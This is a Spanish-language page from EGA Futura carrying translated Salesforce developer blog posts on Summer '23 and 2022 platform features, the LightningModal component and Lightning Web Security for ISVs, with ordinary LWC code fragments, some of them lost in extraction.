Hay varias mejoras en la sintaxis de LWC que facilitarán la escritura de sus componentes. Se está lanzando una nueva directiva de plantilla lwc:spread (consulte los documentos ), que le permite distribuir propiedades de objetos a un componente secundario, lo que reduce significativamente la cantidad de código que necesita escribir. A partir de Summer '23, podrá establecer un valor dinámico para el atributo de ranura de un elemento HTML. Además, se habilitará la inyección programática de hojas de estilo, lo que le permitirá establecer la propiedad estática de las hojas de estilo para un componente.

¿Ha comenzado a escribir pruebas de extremo a extremo con UTAM? Esta versión también trae mejoras a las capacidades de manejo de errores de UTAM y una extensión de Chrome para identificar objetos de página de UTAM (en Beta).

Móvil sin conexión

Salesforce Mobile App Plus (Salesforce App+) es una versión de la aplicación Salesforce Mobile que habilita LWC Offline. LWC Offline es un entorno de tiempo de ejecución avanzado para componentes web Lightning que aumenta el tiempo de ejecución estándar con funciones diseñadas específicamente para uso móvil y sin conexión. Si bien LWC Offline anteriormente solo estaba disponible en la aplicación móvil Salesforce Field Service, Salesforce App+ le permite usarlo en un contexto más genérico. Salesforce App+ se cerró en Beta en Spring '23 y se trasladará a GA en Summer '23. Salesforce App+ está disponible bajo la licencia Salesforce Mobile Plus.

Integración de plataforma

Tener una plataforma robusta es tan importante como tener capacidades de integración sólidas. Es por eso que la versión Summer '23 trae muchas funciones de integración nuevas.

En esta versión, ampliamos la API REST de Salesforce para admitir la recuperación de elementos secundarios mediante la definición de hasta cinco niveles de consultas SOQL anidadas . También ampliamos la API REST de Connect y la API de Connect (Connect in Apex) para permitir que los desarrolladores creen y administren credenciales con nombre mediante programación. Además, la API GraphQL, que se hizo GA en Spring, ahora admitirá consultas con funciones agregadas y mejorará sus capacidades de manejo de errores . Los eventos de la plataforma también incluyen nuevas funciones, como la capacidad de agregar una clase de devolución de llamada a su código de publicación de Apex , que proporcionará una confirmación cuando el evento de la plataforma se publique correctamente. Además, podrá obtener métricas de uso de eventos de la plataforma consultando el objeto PlatformEventUsageMetric .

También se están mejorando las capacidades de integración en Flow. Flow Builders ahora podrá configurar llamadas HTTP GET a sistemas externos que no tienen una especificación de API abierta a través de la función Servicios externos. Las llamadas HTTP POST están en Beta. Si es un Muley , puede leer más sobre las innovaciones de Flow plus MuleSoft en la siguiente sección.

Además de todo esto, el adaptador GraphQL de Salesforce Connect que anunciamos en febrero se mudará a GA, y Event Relay ahora admitirá Shield Platform Encryption y tendrá una nueva interfaz de usuario de configuración fácil de usar.

Innovaciones entre nubes

Aunque MuleSoft, Tableau y Slack siguen sus propios ciclos de lanzamiento, son partes integrales del ecosistema de Salesforce y de vital importancia para los desarrolladores.

Mula Suave

Una de las innovaciones más recientes de MuleSoft es Anypoint Code Builder (Beta), el IDE de próxima generación de MuleSoft para diseñar, desarrollar e implementar API, integraciones y automatización desde un solo entorno. ¡Compruébalo si aún no lo has hecho!

Si leyó la sección "Integración de la plataforma" anterior, es posible que haya recibido un spoiler: MuleSoft se está integrando en Flow más que nunca. En Summer '23, habrá una nueva sección en la interfaz de usuario de configuración de Salesforce Platform, desde la cual podrá configurar y administrar los servicios de MuleSoft , que luego se pueden usar en Flow Builder. Además, el soporte de MuleSoft se está agregando a Flow Orchestrator , lo que facilita la creación de procesos comerciales automatizados de varios pasos que utilizan los servicios de MuleSoft.

Por último, se lanzará Anypoint Experience Hub . Es la próxima evolución de Anypoint API Community Manager y permite a los clientes crear portales de API en minutos para una mejor participación de API.

Cuadro

Si trabaja con API, es posible que esté familiarizado con la colección Postman de API de Salesforce . Esta colección se ha vuelto muy popular y es ampliamente adoptada en el ecosistema de Salesforce, con actualmente más de 500 bifurcaciones y más de 800 estrellas. Tableau recientemente se subió al carro al agregar sus propias muestras de la API REST de Tableau a la colección. Para obtener más información, lea nuestra entrada de blog .

Si le gustó la colección, le encantará la innovación más reciente de Tableau, cuya vista previa pública se anunció en la Conferencia de Tableau (TC) 2023 del 9 al 11 de mayo. El nuevo Tableau Embedding Playground ofrece a los desarrolladores un entorno de aprendizaje interactivo para desarrollar rápidamente soluciones de análisis integradas. Integre visualizaciones de Tableau y agregue rápidamente interacciones que establezcan filtros y parámetros, obtengan marcas y datos seleccionados, utilizando los componentes básicos de los métodos y las propiedades de la API de incorporación. En el futuro, use sus propias visualizaciones en Tableau Cloud, Tableau Server o Tableau Public para desarrollar sus aplicaciones personalizadas con código que puede exportar y ejecutar en cualquier lugar.

La diversión no se detiene ahí. Para admitir análisis integrados personalizados y seguros, Tableau introdujo recientemente dos nuevas funciones de usuario que permiten a los desarrolladores y administradores pasar cualquier atributo de usuario en tiempo de ejecución dentro del flujo de autenticación integrado. Para obtener más información, leanuestra entrada de blog .

Flojo

Finalmente, nos complace compartir que Slack acaba de anunciar la disponibilidad general de su plataforma Slack de próxima generación. En la nueva plataforma, puede crear aplicaciones modulares mediante el desarrollo de componentes básicos, como funciones, flujos de trabajo y activadores, mediante TypeScript y Deno . Ahora puede implementar en la infraestructura administrada por Slack, ahorrando tiempo y aumentando la eficiencia. En el futuro, los usuarios de Slack podrán aprovechar cada capacidad que ofrece y combinarlas con otras funciones, servicios y proveedores de software para crear automatizaciones potentes y personalizadas. La plataforma también incluye una CLI, que puede usar para desarrollar, probar e implementar sus funciones y flujos de trabajo. Para obtener más información al respecto y obtener experiencia práctica, diríjase a la guía de inicio rápido .

Aprende MOAR

Nuestros gerentes de producto y defensores de desarrolladores están de vuelta para compartir las últimas características y funcionalidades que llegarán en Summer '23. Para ayudarlo a desarrollarse más rápido, hay una gran cantidad de contenido nuevo del equipo de relaciones con desarrolladores que cubre sus nuevas características favoritas. ¡Asegúrese de consultar Release Readiness Live el viernes 19 de mayo a las 9:00 a. m. PST, y lea lo último en el blog de desarrolladores de Salesforce para conocer más innovaciones relacionadas con desarrolladores en el lanzamiento de Summer '23!

Sobre el Autor

Alba Rivas trabaja como Principal Developer Advocate en Salesforce. Actualmente se enfoca en el desarrollo de Lightning Web Components y Slack. Puedes seguirla en Twitter o Linkedin .

Obtenga las últimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a través de Slack o RSS.

Agregar a Slack Suscríbete a RSS

Esta es una traducción realizada por EGA Futura, y este es el link a la publicación original: https://developer.salesforce.com/blogs/2023/05/release-highlights-for-developers-learn-moar-summer-23.html

Categories
Developers Tutoriales de Salesforce

Resumen de 2022: nuevas funciones para desarrolladores del año pasado ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

2022 en revisión: nuevas funciones para desarrolladores del año pasado | Blog de desarrolladores de Salesforce

Para reflexionar sobre el año pasado, revisé las notas de la versión y pedí a nuestros defensores de desarrolladores su opinión sobre algunas de las mejores características de 2022. Eche un segundo vistazo a estas mejoras para ver cómo pueden mejorar su vida como desarrollador que trabaja con la plataforma de Salesforce! NOTA: En aras de la transparencia, los criterios para nuestras funciones principales incluyen: tenía que lanzarse como Generalmente Disponible (GA) en 2022 (sin funciones Beta o Piloto), y tenía que ser de alguna manera una función orientada al desarrollador (Somos bastante generosos con este). Nuevas API siguiendo estándares abiertos Durante el año pasado, se lanzaron la API Pub/Sub y la API GraphQL. Estas nuevas API presentan a los equipos de desarrollo más flexibilidad y productividad al integrarse con Salesforce. También representan un mayor avance en la adopción de estándares de la industria en el desarrollo de Salesforce. API de publicación/suscripción En el pasado, la integración basada en eventos con Salesforce requería dominar diferentes API y técnicas. La publicación, la suscripción y la introspección se realizaron utilizando diferentes API y tecnologías. Al publicar un evento, tenía que seleccionar una de varias API. Su aplicación de cliente se suscribió usando alguna biblioteca basada en el protocolo CometD. Y si querías hacer una introspección del esquema de eventos, había una API REST especial para llamar. Cambiar a la API de Pub/Sub basada en gRPC significa que necesitará una comprensión mucho menos explícita de todas estas piezas del panorama de la API de Salesforce. Al usar la biblioteca/lenguaje de gRPC de su elección, tendrá acceso a todos estos servicios basados en eventos a través de un conjunto común de interfaces. API GraphQL Desde su presentación al mundo en 2015, GraphQL ha cambiado la forma en que los desarrolladores crean aplicaciones web y móviles. Facturándose a sí mismo como una alternativa a las API REST tradicionales, su enfoque de punto final único, solicitud única para muchos datos diferentes es muy popular. Si es un desarrollador experimentado en el ecosistema de Salesforce y ha visto esto y se ha preguntado: "¿No es una especie de consulta SOQL?", tiene razón… y está equivocado. En su estado actual, dada la existencia de SOQL complejo, existe una gran cantidad de superposición con la API de GraphQL, particularmente con respecto a la consulta de múltiples objetos. Pero dos características que aún están en camino son la compatibilidad con mutaciones y el adaptador de cable GraphQL API LWC. Actualmente, para realizar una consulta ad hoc de datos en LWC, se requiere una clase de Apex. Tener soporte de consultas a través del adaptador de cable API GraphQL directamente en LWC eliminará una pieza adicional de complejidad para recuperar datos en su código LWC. Y las mutaciones (la capacidad de modificar y eliminar datos) significarán que el uso de la API de GraphQL tiene el potencial de simplificar en gran medida las aplicaciones web y móviles que se conectan con Salesforce. ¡Esté atento a que estas características lleguen pronto!

La marcha continua hacia los estándares abiertos

Hay otro gran beneficio en la introducción de estas dos API desde el punto de vista de la dotación de personal para los proyectos de integración de Salesforce. El uso de lenguajes y protocolos estándar de la industria amplía la accesibilidad de Salesforce Platform a más desarrolladores. Como desarrollador que ya conoce gRPC o GraphQL, estas API le facilitarán más que nunca la preparación para trabajar con Salesforce.

Más información sobre las nuevas API de Pub/Sub y GraphQL

Lightning Web Security: como Locker, solo que mejor

Cuando lanzamos Lightning Components en 2014, la promesa de elementos de interfaz de usuario personalizados sin el dolor de un iFrame hizo que todos los desarrolladores de Visualforce se emocionaran. Luego, la seguridad del producto de Salesforce nos trajo a todos de vuelta a la Tierra con la realidad de lo que significaría para cada desarrollador (el nuestro, el suyo, el de su proveedor de aplicaciones de AppExchange) tener acceso libre y gratuito a cada elemento DOM en la interfaz de usuario de Salesforce. Y así nació el servicio Locker .

[Atribución: Ananomyx, CC BY-SA 4.0 <https://creativecommons.org/licenses/by-sa/4.0>, vía Wikimedia Commons]

Desde entonces, los desarrolladores han aprendido a trabajar con él, a su alrededor, y a aprovechar al máximo la creación de interfaces de usuario personalizadas. Pero los equipos de producto e ingeniería de UI se dispusieron a encontrar una mejor manera. De esa manera es Lightning Web Security (LWS).

Anteriormente, el desafío era la falta de funciones del navegador. Aparte de un iFrame, no había una forma nativa de aislar un elemento de la interfaz de usuario y evitar que se viera comprometido por otro código en el DOM. Una de las iniciativas más emocionantes en la historia reciente de Salesforce es nuestra participación activa en el proceso de estándares web y nuestra estrecha asociación con proyectos y proveedores de navegadores. A través de este enfoque cooperativo, Salesforce influye en las nuevas funciones que se introducen en los estándares web y, finalmente, en los navegadores que admiten el desarrollo con Salesforce. La propuesta de ShadowRealm es una de esas características. Agrega un objeto global, virtualizado y en espacio aislado que constituye la base de LWS.

LWS hace uso de esta función de sandboxing nativa. Esto significa que puede equilibrar mejor la seguridad con la usabilidad, el rendimiento y la integración entre los componentes de la interfaz de usuario. LWS promete brindar más flexibilidad a su trabajo de LWC a través de más bibliotecas JS disponibles. También puede haber beneficios de rendimiento para LWS sobre Locker Service.

Para habilitar LWS, vaya a Configuración > Configuración de sesión en su organización. En la mayoría de los casos, no debería requerir cambios en su código, pero esto no está garantizado (ya sea que el código sea suyo o de las aplicaciones de AppExchange). Asegúrese de habilitarlo y probarlo en un espacio aislado antes de habilitarlo en producción.

Más información sobre LWS

Ganancias de paridad de características de LWC a Aura

Lanzar una ventana modal usando LWC y hacer que su LWC muestre un flujo de pantalla han sido dos elementos importantes en el camino para lograr que Lightning Web Components tenga paridad de características con Aura.

Desde el momento en que se lanzó LWC, los desarrolladores han estado preguntando cuándo habría un LWC que proporcionara las funciones modal y popover al estilo del componente <lightning:overlayLibrary/> Aura. Bueno, no espere más: ahora puede crear componentes que se pueden usar como superposiciones modales haciendo que su módulo LWC importe y amplíe la clase JavaScript LightningModal . Esta es una característica muy nueva recién lanzada en Winter '23.

Aquí hay un ejemplo de un componente modal que usa la clase LightningModal :

Si bien Flow ha tenido una gran cantidad de características nuevas en Winter 23, quiero mencionar el componente base lightning-flow , que le permite mostrar un Flujo de pantalla de LWC. De ahora en adelante, cuando un flujo de pantalla sea la mejor manera de resolver ese problema, puede hacer que funcione en LWC.

Las publicaciones de blog para lightning-modal y para incrustar flujo en LWC acaban de publicarse en diciembre, por lo que no dedicaré mucho tiempo a repetirlas. Pero baste decir que tener estas características integradas en LWC hará que la vida de cada desarrollador sea mucho más fácil.

Más información sobre estas mejoras de LWC

La clase de afirmación

Soy un ávido ciclista de montaña. La primera vez que usé una tija de sillín con cuentagotas ajustable operada a distancia (generalmente conocida como tija con cuentagotas), cambió fundamentalmente la forma en que montaba mi bicicleta y cuánto disfrutaba al ir cuesta abajo. Moverse entre una buena altura de pedaleo y poder tener mi asiento fuera del camino de mi trasero y piernas fue la respuesta a un problema que no sabía que tenía. La clase Assert Apex es un poco así.


¿Quién sabía que tener tres métodos de afirmación completos era limitante? Quiero decir, ¿qué más necesita, sino poder hacer assert(Boolean) , assertEquals(Any, Any) , y assertNotEquals(Any, Any) ?

Resulta bastante.

La clase Assert le brinda un montón de azúcar sintáctico en forma de evaluaciones condicionales nuevas y más específicas que un desarrollador puede usar al probar su código Apex. Digamos que necesita verificar que una variable sea de un tipo específico. Eso está cubierto. ¿Quieres comprobar si hay un valor nulo? Eso también está cubierto.

Y ya no tendrá que razonar sobre cómo hacer que su condición de afirmación resulte con un valor booleano específico, ya que cada forma de evaluación viene con un método que busca una comparación true y una comparación false . Por ejemplo, verificar que la instancia sea de un tipo específico se puede hacer con isInstanceOfType() o isNotInstanceOfType() .

Como compartimos contigo en una publicación de blog reciente, puedes ver la diferencia entre las dos formas de probar un resultado.

Aquí hay un ejemplo del antiguo método System.assert() :

Y aquí hay un ejemplo con Assert.isInstanceOfType() :

Tener la intención de la prueba en el nombre del método que está utilizando para la prueba hace que las cosas sean aún más claras.

Incluso hay un método llamado fail() , que lanza una excepción de aserción sin tener que usar la técnica did-they-mean-to-do- assertEquals(false) .

Y al igual que con los métodos del sistema anteriores, cada método está sobrecargado con una firma de método que le permite escribir su propio mensaje personalizado cuando falla la afirmación.

Con todo esto, le resultará más fácil escribir pruebas de Apex y razonar sobre las pruebas de Apex que encuentra en su base de código existente.

Así que sí, tal vez no necesites la clase Assert en el sentido más puro de la palabra… tal vez yo tampoco necesitaba mi cuentagotas. Pero todos seremos más felices con ellos.

Más información sobre la clase Assert

Centro DevOps

Una buena gestión y gobierno del ciclo de vida del software puede marcar una gran diferencia entre el éxito de los proyectos y la eficiencia de los equipos. Con la combinación única de código y sin código de Salesforce, querrá una herramienta diseñada para el trabajo.

DevOps Center se diseñó teniendo en cuenta esta amplia gama de personalizaciones de aplicaciones. También atiende a una gama igual de amplia de niveles de habilidad. Ya sea que solo se trate de construir en el menú Configuración o que haya dominado la línea de comando (o cualquier otra cosa), DevOps Center es para usted.

DevOps Center está diseñado para llevar el ecosistema de Salesforce más allá de los conjuntos de cambios. Ofrece integración con GitHub, canalizaciones, integración con organizaciones de desarrollo (como sandboxes y organizaciones borrador) y muchas otras funciones. Por lo tanto, no importa cuál sea la composición de su equipo, puede razonar sobre cómo crea e implementa funciones para Salesforce.

Más información sobre DevOps Center

Menciones honoríficas

Obviamente, lanzamos demasiadas funciones en 2022 para resumirlas todas en una breve publicación de blog. Y mis selecciones se basan en mis propias impresiones y en cómo uso Salesforce. Mientras el equipo discutía qué funciones se lanzaron el año pasado, surgieron otras. Los siguientes son algunos que debería considerar investigar si aún no lo ha hecho.

Conclusión

Cada año bendice a los desarrolladores de Salesforce con nuevas funciones y desarrollos en la plataforma. El lanzamiento regular de nuevas funciones es una de las cosas que atrae a muchos desarrolladores para trabajar con Salesforce. ¿Y usted? ¿Cuáles son tus características favoritas de 2022? Si desea compartir, asegúrese de anunciarlo en las redes sociales y mencionarnos en Twitter o LinkedIn .

Sobre el Autor

Peter es un defensor de los desarrolladores y se ha centrado en la habilitación de desarrolladores durante 20 años. Dirige el equipo de defensores de desarrolladores de Salesforce Platform en América del Norte y EMEA. Encuéntralo en Twitter: @pchittum.

Obtenga las últimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a través de Slack o RSS.

Agregar a Slack Suscríbete a RSS

Esta es una traducción realizada por EGA Futura, y este es el link a la publicación original: https://developer.salesforce.com/blogs/2023/01/2022-in-review-new-developer-features-from-the-past-year.html

Categories
Developers Tutoriales de Salesforce

Una inmersión profunda en el componente base LightningModal ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Una inmersión profunda en el componente base LightningModal | Blog de desarrolladores de Salesforce

Un modal es un tipo de interfaz de usuario que muestra contenido en una capa sobre la aplicación. La característica clave de un modal es que deshabilita el contenido principal hasta que el usuario interactúa explícitamente con el modal. Los modales pueden ser herramientas efectivas en el diseño de UX cuando se usan apropiadamente. En la experiencia de Salesforce Lightning, los modales se utilizan para casos de uso como la creación o edición de un registro, varios tipos de mensajes y asistentes. Los desarrolladores a menudo también tienen requisitos para usar modales en sus aplicaciones personalizadas.

El sistema de diseño Lightning de Salesforce (SLDS) proporciona un modelo para los desarrolladores que necesitan implementar modales para sus aplicaciones. Sin embargo, mantener una gran cantidad de código repetitivo ha sido un gran problema para los desarrolladores que crean componentes web Lightning (LWC) personalizados y desean utilizar modales. Con el lanzamiento de Winter '23, ahora enviamos LightningModal (consulte los documentos ), un componente Lightning base que simplifica la incorporación de modales en sus componentes. LightningModal se basa en el modelo SLDS y sigue las pautas de accesibilidad.

El uso de LightningModal en una aplicación se cubre ampliamente en los documentos , y nuestra aplicación de muestra LWC, lwc-recipes , tiene unejemplo bien escrito. En esta publicación de blog, nos centraremos específicamente en los eventos modales, que son difíciles de entender. Específicamente, con un ejemplo, profundizaremos en cómo pasar datos de su componente web Lightning al componente modal y viceversa. El objetivo es ayudarlo a comprender cómo trabajar con el componente LightningModal .

Un ejemplo de caso de uso

Para comprender cómo pasar datos de su componente web Lightning al componente modal y viceversa, exploraremos fragmentos de código de una aplicación LWC de ejemplo, "Mascot Explorer". Creé esta aplicación para ayudarnos a aprender a usar eventos modales.

El componente Mascot Picker LWC dentro de la aplicación Mascot Explorer le permite elegir su mascota de Salesforce favorita. Codey es lo que elegiría, ¡pero te dejaré elegir uno!

Puede obtener el código fuente completo de la aplicación o ver el video a continuación para ver cómo funciona el componente.

[contenido incrustado]

Composición del componente

La aplicación Mascot Picker consta de los siguientes componentes.

  • Un componente de LWC llamado " Mascot Picker " inicia el componente modal.
  • Se lanzó un componente de LWC denominado " Modal de selector de mascotas" como un modal del componente de LWC " Selector de mascotas". Este componente utiliza el componente base LightningModal .
  • Un componente de LWC de selector visual denominado "Selector visual" está contenido dentro del componente de LWC " Modal de selector de mascotas" (un elemento secundario del componente de LWC modal de selector de mascotas). El componente Visual Picker tiene un elemento de formulario de entrada del tipo radio para permitir la selección de su mascota favorita.

El siguiente diagrama puede ayudarlo a visualizar cómo se componen varios componentes.

Creación del componente LWC modal del selector de mascotas

mascotPickerModal es un componente LWC lanzado como un modal del componente Mascot Picker LWC. Está construido utilizando el componente base LightningModal . El componente mascotPickerModal LWC es único en la forma en que se extiende. Por lo general, al crear su componente, el módulo de JavaScript del componente amplía la clase LightningElement de ES6. Al crear un componente modal, el módulo de JavaScript del componente amplía la clase LightningModal de ES6.

El código para el componente mascotPickerModal es el siguiente.

<dx-code-block title language code-block="

       

«>

Y aquí está el módulo JavaScript:

Aspectos destacados del código

  • El componente mascotPickerModal extiende LightningModal como se muestra a continuación.
  • Puede definir el encabezado, el cuerpo y el pie de página modales mediante marcas de componente listas para usar, como se muestra en los fragmentos de código a continuación.

<dx-code-block title language code-block="

  ...     

«>

  • El cuerpo del modal en nuestro ejemplo usa un componente LWC personalizado, visualPicker . Este componente activa un evento de selección para indicar la selección de la mascota. El evento de selección es manejado por el componente mascotPickerModal .

<dx-code-block title language code-block="

   

«><dx-code-block title language code-block="

 handleSelect(event) { this.selectedMascot = event.detail; }

«>

  • Cuando se hace clic en el botón Confirmar en el pie de página modal, el componente envía un evento Seleccionar. Esto se muestra en los fragmentos de código a continuación. El evento de selección se maneja en el componente Mascot Picker LWC que se trata en la siguiente sección.

<dx-code-block title language code-block="

  

«><dx-code-block title language code-block="

 handleConfirm() { this.dispatchEvent( new CustomEvent("select", { detail: { selectedMascot: this.selectedMascot } }) ); // Close the Modal and pass data to the component that launched the modal this.close(this.selectedMascot); }

«>

Lanzamiento del componente Mascot Picker Modal LWC como un modal del componente Mascot Picker LWC

El componente Mascot Picker Modal que cubrimos en la sección anterior se lanza como un modal desde el componente Mascot Picker LWC. En nuestro ejemplo, el componente mascotPicker tiene un lightning-button para abrir el componente modal.

El fragmento de código para iniciar el componente mascotPickerModal LWC como modal se muestra a continuación.

<dx-code-block title language code-block="

....
 ......

«>

A continuación se muestra el fragmento de JavaScript para iniciar el componente mascotPickerModal LWC como modal desde el componente Mascot Picker LWC.

{ e.stopPropagation(); // Call function to handle the selection event this.handleSelectEvent(e.detail); } }).then((result) => { // Promise handler for the Modal opening // Result has values passed via the close event from the Modal component console.log(result); }); } // function to handle the selection event handleSelectEvent(detail) { this.selectedMascot = detail.selectedMascot; }
} «>

Aspectos destacados del código

  • El componente mascotPickerModal LWC se importa al componente Mascot Picker LWC mediante una declaración de importación simple
  • Para abrir el componente mascotPickerModal LWC como modal, use el método .open()

{ }); «>

NOTA: LightningModal también es compatible con la variante sin cabeza. Puede omitir el lighnting-modal-header lighnting-modal-footer. Asegúrese de agregar el atributo 'etiqueta' al método .open para accesibilidad.

  • Puede pasar los datos del componente Mascot Picker al componente mascotPickerModal utilizando las propiedades @api declaradas en el módulo JavaScript del componente mascotPickerModal .

; { }); «>

El siguiente diagrama muestra el flujo de datos entre el componente LWC Mascot Picker (el componente que inicia el modal) y el componente LWC mascotPickerModal (iniciado como modal).

  • Puede escuchar los eventos en el componente Mascot Picker enviado desde el componente mascotPickerModal . Para hacer esto, vincule los eventos al método .open() de la clase del componente mascotPickerModal . Esto se muestra en el fragmento de código a continuación.

{ e.stopPropagation(); //Call function to handle the selection event this.handleSelectEvent(e.detail); } }). then((result) => { }); // function to handle the selection event handleSelectEvent(detail) { this.selectedMascot = detail.id; } «>

El siguiente diagrama muestra cómo enviar y capturar eventos entre el componente Mascot Picker LWC y el componente mascotPickerModal LWC.

NOTA: 'oneeventname' a la izquierda de la imagen y 'eventname' a la derecha es la clave para nombrar eventos.

Para resumir, hay dos formas de mover datos fuera de LightningModal:

  1. Cerrando el Modal y pasando los datos en el método close() .
  2. Los eventos modales están cubiertos en el diagrama anterior.

Consideraciones

Al momento de escribir esta publicación de blog, encontramos un problema con el componente LightningModal para aquellos que tienen la configuración Lightning Web Security (LWS) deshabilitada en sus organizaciones. El problema es que los eventos enviados desde el lightning-button en LightningModal no se activan. El error encontrado generalmente se muestra cuando realiza la depuración a través de la consola de desarrollo de Chrome como: 'EventTarget': parameter 1 is not of type 'Event' .

Tenemos una solución para el problema anterior hasta que habilite la configuración de LWS para su organización. Envuelva el componente dentro del modal que envía el evento a su componente LWC dedicado.

Para que nuestra aplicación de ejemplo funcione en organizaciones que tienen LWS deshabilitado, he creado un buttonWrapper componente LWC dedicado que distribuye los eventos personalizados que se pueden manejar en el componente que inicia el modal. Usamos este componente contenedor en lugar del lightning-button estándar para que los eventos modales funcionen.

A continuación se muestra el código para el componente Button Wrapper LWC utilizado como componente secundario en el componente mascotPickerModal LWC.

El marcado del componente:

<dx-code-block title language code-block="

 

«>

El módulo JavaScript:

El marcado del componente modificado de mascotPickermodal LWC está utilizando el nuevo buttonWrapper como un componente secundario que se muestra a continuación.

<dx-code-block title language code-block="

 .....   

«>

Para ver el código fuente de trabajo completo de la aplicación con eventos personalizados para organizaciones con Lightning Web Security deshabilitado, consulte el código fuente en la rama, lws-disabled .

Conclusión

El componente LightningModal también viene con funciones integradas, como estilos de blueprint SLDS, accesibilidad y soporte para ganchos de estilo. Lea más sobre esto en los documentos . Un componente dedicado para la creación de modales significa menos código repetitivo y una mayor eficiencia del desarrollador.

Más recursos

Sobre el Autor

Mohith Shrivastava es promotor de desarrollo en Salesforce con una década de experiencia en la creación de productos a escala empresarial en la plataforma de Salesforce. Actualmente se está enfocando en las herramientas para desarrolladores de Salesforce, Flow, Apex y Lightning Web Components en Salesforce. Mohith se encuentra actualmente entre los principales contribuyentes en Salesforce Stack Exchange, un foro de desarrolladores donde los desarrolladores de Salesforce pueden hacer preguntas y compartir conocimientos. Puedes seguirlo a través de su Twitter @msrivastav13.

Obtenga las últimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a través de Slack o RSS.

Agregar a Slack Suscríbete a RSS

Esta es una traducción realizada por EGA Futura, y este es el link a la publicación original: https://developer.salesforce.com/blogs/2022/12/a-deep-dive-into-the-lightningmodal-base-component.html

Categories
AppExchange Developers Tutoriales de Salesforce

Lo que los socios ISV deben saber sobre Lightning Web Security ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Lo que los socios ISV deben saber sobre Lightning Web Security | Blog de desarrolladores de Salesforce

Lightning Web Security (LWS) habilita algunas de las funciones nuevas más buscadas para Lightning Web Components (LWC), como importaciones de espacios de nombres cruzados, mayor compatibilidad con bibliotecas de JavaScript de terceros y más. Sin embargo, los ISV deben tener en cuenta algunas consideraciones importantes al trabajar con LWS. En esta publicación de blog, brindaremos una breve descripción general de LWS y luego pasaremos a las recomendaciones específicas de ISV. ¡Un agradecimiento especial a mi colega Alba Rivas, quien me permitió probar su excelente Respuesta de StackExchange para la primera parte de este blog!

Parte I: ¿Qué es Lightning Web Security (LWS)?

LWS es una nueva arquitectura de seguridad del lado del cliente para Lightning Web Components (LWC) que reemplaza a Lightning Locker . LWS es menos restrictivo, pero tan seguro como Lightning Locker. En Spring '23, implementaremos una versión beta abierta de LWS para los componentes de Aura (se aplica el puerto seguro ). Cualquiera puede optar por esta versión beta activando una configuración en el menú Configuración de su organización (más detalles sobre esto más adelante en la publicación).

¿Cómo funciona LWS?

LWS sigue el modelo de los últimos estándares TC39 y evolucionará con las plataformas de navegador a medida que pase el tiempo. Los componentes están aislados en su propia caja de arena de JavaScript hecha de un iframe separado. Esto nos permite exponer objetos globales de ventana, documento y elemento directamente, sin abrir la puerta a amenazas de seguridad. LWS altera el código que se ejecuta en el espacio aislado de JavaScript para evitar comportamientos inseguros.

¿Cuáles son los beneficios de LWS sobre Lightning Locker?

LWS promueve el diseño modular, la reutilización de código y flexibilidad adicional. Con LWS puedes:

  • Importe y use LWC de diferentes espacios de nombres mediante composición o extensión
  • Interactuar con objetos globales (p. ej., ventana, documento, elemento)
  • Use bibliotecas de JavaScript de terceros que manipulen objetos globales
  • Acceda al contenido de iframe y a la identidad si el contenido es del mismo origen (nuevo en la versión Winter '23)

Para los ISV, LWS les permite anidar componentes de un espacio de nombres dentro de un componente de un espacio de nombres diferente. O pueden usar un LWC sin cabeza como una biblioteca JS de utilidad compartida que reside en un espacio de nombres de paquete "base" e importarlo a componentes de otros espacios de nombres. Estos casos de uso no eran posibles antes de LWS e ilustran las mejores prácticas en la reutilización de código. Como beneficio adicional, los clientes de un ISV también pueden usar los componentes con espacio de nombres del ISV dentro de sus propios componentes de la misma manera si el ISV ha expuesto los componentes.

Mientras que Locker no permite que los componentes accedan a objetos estándar globales como ventana , documento y elemento (los reemplaza con versiones de envoltorio seguro de estos objetos), LWS sí lo permite y también restringe menos propiedades y funciones relacionadas con estos objetos. Para ver la lista completa de diferencias, compare LWS Distortion Viewer con Locker API Viewer para cada uno de estos tres objetos (más información sobre estas herramientas más adelante). Un beneficio adicional de trabajar con estos objetos estándar directamente es la alineación con los estándares y sintaxis familiares para los desarrolladores web, lo que lleva a una mayor productividad de los desarrolladores al hacer que el código y los registros de depuración sean más fáciles de trabajar.

Sin embargo, el mayor beneficio de LWS que permite el acceso a estos objetos globales es que desbloquea la capacidad de usar muchas bibliotecas de JavaScript de terceros populares que no eran compatibles con Locker. La siguiente imagen muestra tres bibliotecas de terceros populares, D3 , Chart.js y FullCalendar , que funcionan dentro de una organización de Salesforce. Esto no era posible antes de LWS debido a las restricciones de Locker. La imagen también ilustra los componentes de un espacio de nombres anidados o importados en componentes de varios otros espacios de nombres. Como recordatorio, LWS actualmente es solo para LWC mientras trabajamos para lanzar LWS para componentes Aura.

LWS también proporciona un rendimiento mejorado en comparación con Lightning Locker porque no utiliza envoltorios seguros que pueden reducir el rendimiento. El equipo de ingeniería sigue centrándose en mejorar el rendimiento con cada versión.

La lista de beneficios de LWS crecerá con el tiempo a medida que introduzcamos nuevas características que requieren que LWS esté habilitado. Por ejemplo, estamos trabajando arduamente en funciones muy esperadas, como la creación de componentes dinámicos, así como las importaciones dinámicas para LWC ( puerto seguro ), que dependerán de que LWS esté habilitado en una organización para funcionar correctamente.

En el resto de esta publicación de blog, nos referiremos al grupo anterior de funciones que LWS hace posible como funciones "solo LWS".

¿Cómo puedo activar LWS?

Vaya a ConfiguraciónConfiguración de sesión y habilite Usar Lightning Web Security para componentes web Lightning . Esto afecta a todos los componentes de LWC personalizados en su organización, incluidos aquellos en paquetes administrados.

En Spring '23, esta configuración cambiará para habilitar LWS para los componentes LWC y Aura en la organización. El nombre de la configuración cambiará a: "Usar seguridad web Lightning para componentes web Lightning (GA) y componentes Aura (beta)" para reflejar esto ( puerto seguro ).

Parte 2: ¿Deberían los ISV adoptar características exclusivas de LWS hoy?

